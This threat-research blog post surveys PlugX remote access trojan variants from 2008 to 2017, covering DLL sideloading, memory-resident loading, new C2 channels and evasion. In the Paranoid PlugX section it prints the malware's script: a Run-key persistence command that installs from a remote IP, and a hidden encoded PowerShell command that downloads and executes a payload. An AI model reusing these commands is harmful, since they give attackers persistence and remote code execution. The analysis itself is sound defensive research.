In June 2017, Palo Alto’s Unit 42 Threat Research team published an excellent blog post on a newly detected version of the PlugX malware family, also known as “Korplug.” Interested to find out more about this new variant, I started digging around and found that there have been many new samples of “PlugX v1.” This isn’t too surprising considering that a builder for version one of the malware has been publicly available for several years. However, this piqued my curiosity. I decided to look into where these old samples were used and whether there was any specific targeting. In terms of malware detection, it is always interesting to see old code repurposed or reused in new attacks and campaigns, as seen in the resurgence of Shamoon Malware in 2016.
A History of PlugX Malware
The PlugX malware family is well known to researchers, with samples dating back to as early as 2008, according to researchers at Trend Micro. PlugX is a fully featured Remote Access Tool/Trojan (RAT) with capabilities such as file upload, download, and modification, keystroke logging, webcam control, and access to a remote cmd.exe shell.
Until recently, distinct versions of PlugX malware maintained consistent methodologies for encryption, configuration, and persistence — despite evolution of the tool’s development over the years. In 2014, there was a resurgence of this malware family, making it the most utilized family of that year, according to Crowdstrike’s Global Threat Report released in February 2015. Changes to the command and control (C2) options contributed to this resurgence because the malware authors implemented new DNS C2 methodology that made traffic harder to detect.
Until the end of 2016, the typical PlugX infection methodology was the same: The malware payload was typically delivered via a phishing campaign, either as an attached self-extracting RAR (SFX) archive, link to an archive, or embedded in a weaponized document. This archive contains three files that make up the PlugX components. An example of these three components is as follows (extracted from the RAR archive with SHA-256 hash 1c0379481d17fc80b3330f148f1b87ff613cfd2a6601d97920a0bcd808c718d0):
Figure 1: PlugX Component Files
Although the above sample used an NVIDIA application, many PlugX samples of this variant leveraged applications associated with antivirus or various other security products. Because these executables are signed, legitimate applications, endpoint security products are less likely to flag them. Furthermore, usage of antivirus-related applications can potentially take advantage of product whitelisting on the endpoint.
There have been many extensive analyses of the aforementioned PlugX variants over the years, as is evident by the lengthy — and yet still incomplete — references in the Appendix of this post, so I will not repeat a full analysis here. However, a brief overview of the “original” or “classic” PlugX execution method is available below.
Figure 2: PlugX SFX Archive Components
Classic PlugX Execution Methodology
Below is a depiction of the execution methodology for the classic variant of PlugX — most variants roughly follow this pattern, but there are some deviations. Execution flow in general proceeds as follows:
- The three PlugX components are extracted from the archive to a temporary directory on the system.
- The legitimate, signed program is executed and the malicious loader DLL is sideloaded.
- The loader DLL decrypts and decompresses the payload file.
- The decrypted shellcode is injected into a legitimate system process.
- Note: This step is performed in different ways (code injection, process hollowing) depending on the specific variant of PlugX, but the basic methodology is the same.
- Injected Windows process conducts C2/PlugX functionality.
Figure 3: PlugX Execution Chain
Core PlugX Malware Functionality Evolves
In 2013, multiple updates to the core PlugX malware functionality occurred, including the addition of new C2 protocols, encryption, and installation methodologies. Researchers with Airbus analyzed several samples that appeared to be from mid-to-late 2013. These samples represented an intermediate version of PlugX, with characteristics falling between the original “v1” and “v2” variants.
The main updates in this variant included a new, custom encryption algorithm used for configuration data, network communications, and strings within the binaries. Also featured in this variant was the addition of the ICMP protocol as a new C2 methodology and a modification of the HTTP packet format. Later versions of this variant added DNS C2 as a module.
In 2013, researchers at Lastline also detected variants that included an update to the PlugX malware deployment and installation methodologies. Although the dropped files and chain of execution matched that of the classic PlugX variants (three components: legitimate executable, loader DLL, and encrypted payload), these samples featured User Account Control (UAC) evasion functionality and an alternative process creation mechanism using Component Object Model (COM) objects.
Researchers at Sophos first discovered a new strain of memory-resident PlugX at the end of 2013. The malware was discovered in a campaign exploiting a vulnerability in the popular Japanese word processing software, Ichitaro. Unlike the classic PlugX samples that drop the three components previously discussed, the “diskless” samples do not use the sideloading technique with a valid executable — the loader DLL and payload are not written as files to disk. The memory-resident PlugX, upon successful exploitation of the delivery method (typically a weaponized Rich Tech Format (RTF) document), executes shellcode that decrypts and decompresses the payload, which is a masked DLL file that is then loaded in memory and executed.
While 2014 showed a great uptick in the use of PlugX in Advanced Persistent Threat (APT) campaigns, the variants observed mostly consisted of v1/v2 “classic” samples. In 2015, however, researchers observed a few variants that deviated from the classic execution methodology and added a new communication methodology to the PlugX repertoire. In the beginning of 2015, researchers from JPCERT reported on a variant of PlugX that added peer-to-peer (P2P) functionality, allowing the malware to communicate with other infected hosts on the local network.
Fast forward to March 2015: Carbon Black detected an additional PlugX variant that used a different loading methodology compared to earlier samples. In this variant, only the loader DLL and encrypted payload are dropped to the system; the malware uses the legitimate Windows system file rundll32.exe to execute the malicious PlugX DLL from an export rather than relying on sideloading.
In August 2015, researchers at Airbus discovered a new variant of the “original” PlugX. This variant utilized a fourth file in the initial installation of the RAT. This file, also embedded in the SFX RAR, is a small executable file that provides an additional execution method of the main binary. The executable creates the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\AppKey\18\ShellExecute with the data pointing to the PlugX installation binary. This registry key maps special keyboard keys to commands or programs, such as music or mail, that execute when someone presses that key. Key number 18 typically corresponds to the “calculator” key. Once this registry key is set, the malware programmatically triggers a “press” of the key, thereby executing the installation binary. This method effectively provides an alternative execution of the malware chain.
Similar to the 2008 campaign, PlugX is often used with another common RAT called Poison Ivy. In 2017, researchers from JPCERT discovered a variant of PlugX that actually had code overlap with Poison Ivy in the form of a hash algorithm. This code was used to obscure the Windows API calls in the binary. The format of the final decrypted payload of the new samples departed from the methodology of previous PlugX variants, instead the format mimicked that of Poison Ivy.
In June 2017, researchers at Palo Alto Networks released a review of a new PlugX variant they detected on their networks, which they named “Paranoid PlugX.” This variant added several new mechanisms for avoiding security controls and detection, including new methods for determining the C2 server address after execution, new loading methodology, and new methods for avoiding detection on disk. Rather than dropping the executable, loader DLL, and payload to disk, this variant used a Visual Basic (VB) script to perform two attempts to download and execute the code.
a=new ActiveXObject(WScript.Shell);
a.run('%windir%\\System32\\reg.exe add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v MSASCuiL2 /t reg_sz /d %windir%\\System32\\msiexec.exe /q /i hxxp://172.104.65\.97/Tasks.png /f', 0);window.close();
a.run('%windir%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -WindowStyle hidden -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKAEkARQBYACAAJABuAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQAwADQALgA2ADUALgA5ADcALwBnAHUAZQBzAHQALgBwAHMAMQAnACkAOwAKAA==', 0);window.close();
</script>
Figure 3: Paranoid PlugX Download and Execution Script
The above code creates persistence in the “Run” registry key for the execution of a file downloaded from the URL in the command. The code highlighted in blue uses PowerShell to download another PowerShell file named “guest.psl” from the same IP address as the first command. In both cases, the embedded PlugX shellcode that is executed are identical. Another feature that makes Paranoid PlugX deviate from previous variants is that the embedded payload is wrapped in a .NET Framework file, which has not been seen in other samples.
Timeline of PlugX Variants
The following is a rough timeline that illustrates when samples of the variants discussed were initially reported publicly. Note: The dates below correspond to detection/reporting of samples displaying the stated functionality — the actual samples referenced may have compilation or creation dates earlier than those listed below.
Figure 4: PlugX History Timeline
PlugX Remains a Threat
Although there have been several variants over the years, an analysis of the timeline of variants discussed demonstrates the “original” PlugX variant continues to be used today. Despite the evolution of PlugX methodologies and techniques, these classic PlugX samples remain successful and are still utilized in adversarial campaigns as a result.
In conducting this research, I found a wealth of information from different research groups published over the last eight years. While this is by no means inclusive of all PlugX research conducted, the resources cover many of the highlights of the malware’s evolution over the years.
Click here to view the sources of PlugX variants mentioned above.